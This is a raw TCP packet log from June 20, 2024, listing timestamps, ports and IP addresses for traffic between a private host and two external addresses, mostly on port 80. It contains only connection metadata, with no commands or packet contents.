Jun 20, 2024 06:49:13.072805882 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072805882 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072817087 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072830915 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072858095 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072864056 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072917938 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072936058 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072952032 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072983027 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073014975 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073101997 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073110104 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073110104 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073110104 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073133945 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073164940 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073196888 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073226929 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073272943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073272943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073272943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073273897 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073307991 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073338985 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073343039 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073370934 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073375940 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073376894 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073420048 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073451042 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073482037 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073482037 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073482990 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073515892 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073548079 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073579073 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073599100 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073599100 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073599100 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073599100 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073611021 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073625088 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073642969 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073676109 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073677063 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073712111 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073744059 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073748112 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073748112 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073775053 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073801994 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073801994 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073807001 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073838949 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073839903 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073870897 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073894024 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073894024 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073903084 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073935986 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.073939085 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073939085 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.073966980 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074001074 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074031115 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074064016 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074094057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074114084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074114084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074114084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074114084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074125051 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074142933 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074157953 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074189901 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074191093 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074222088 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074254036 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074265003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074265003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074286938 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074316978 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074316978 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074321985 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074348927 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074353933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074384928 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074384928 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074417114 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074420929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074436903 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074450016 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074481010 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074507952 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074512959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074543953 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074574947 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074580908 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074580908 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074580908 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074605942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074639082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074659109 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074659109 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074671030 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074702024 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074714899 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074734926 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074771881 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.074815989 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074815989 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.074815989 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.160593987 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.160636902 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.160693884 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.160727024 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.160731077 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.160732031 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.160761118 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.160799026 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.160811901 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.160825014 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.160846949 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.160878897 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.160883904 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.160912991 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.160919905 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.160938025 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.160974026 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161007881 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161056042 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161072969 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161087036 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161108971 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161120892 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161120892 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161120892 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161144018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161169052 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161169052 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161178112 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161231041 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161262989 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161273003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161273003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161294937 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161334038 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161365032 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161379099 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161379099 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161400080 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161407948 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161407948 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161451101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161483049 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161484003 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161518097 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161526918 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161545992 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161555052 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161595106 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161595106 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161606073 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161638975 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161686897 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161719084 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161751032 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161767006 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161767006 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161767006 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161767006 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161783934 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161817074 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161849022 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161863089 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161863089 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161863089 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161878109 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161911011 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161943913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161956072 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161956072 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161957026 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.161974907 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.161995888 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.162028074 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.162060976 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.162092924 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.162101984 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.162101984 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.162121058 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.162126064 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.162158966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.162187099 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.162220955 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.162225962 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.162225962 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.162225962 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.162225962 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.162234068 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.162266970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.162298918 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.162306070 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.162306070 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.162333965 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.162381887 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.162383080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.162383080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.848479033 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:13.849409103 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.853589058 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:13.854279041 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.044723988 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.044796944 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.045505047 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.050385952 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.241503000 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.241548061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.241563082 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.241584063 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.241599083 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.241640091 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.241652966 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.241673946 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.241705894 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.241727114 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.241753101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.241786957 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.241787910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.241848946 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.241951942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.241990089 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242008924 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242041111 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242074013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242105961 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242125034 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242125034 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242152929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242155075 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242188931 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242219925 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242252111 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242280960 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242296934 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242296934 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242296934 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242331982 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242332935 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242366076 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242417097 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242418051 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242418051 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242449999 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242469072 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242481947 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242513895 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242547989 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242548943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242548943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242548943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242580891 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242605925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242614031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242644072 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242650986 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242665052 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242682934 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242693901 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242716074 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242748022 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242753983 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242753983 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242798090 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242813110 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242830992 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242862940 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242902040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242902040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242902040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242912054 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242954016 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242961884 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242975950 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.242978096 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.242990971 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243009090 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243041039 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243043900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243043900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243074894 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243107080 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243138075 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243138075 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243171930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243204117 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243235111 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243252039 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243252039 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243268967 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243282080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243300915 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243309975 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243314028 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243345976 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243376970 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243386984 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243392944 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243426085 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243458033 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243484020 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243504047 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243506908 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243540049 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243562937 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243572950 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243585110 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243607998 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243639946 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243654966 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243654966 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243671894 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243681908 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243705988 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243741989 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243752003 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243767023 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243784904 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243798971 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243818045 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243849993 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243859053 CEST	49743	80	192.168.2.4	5.42.65.116
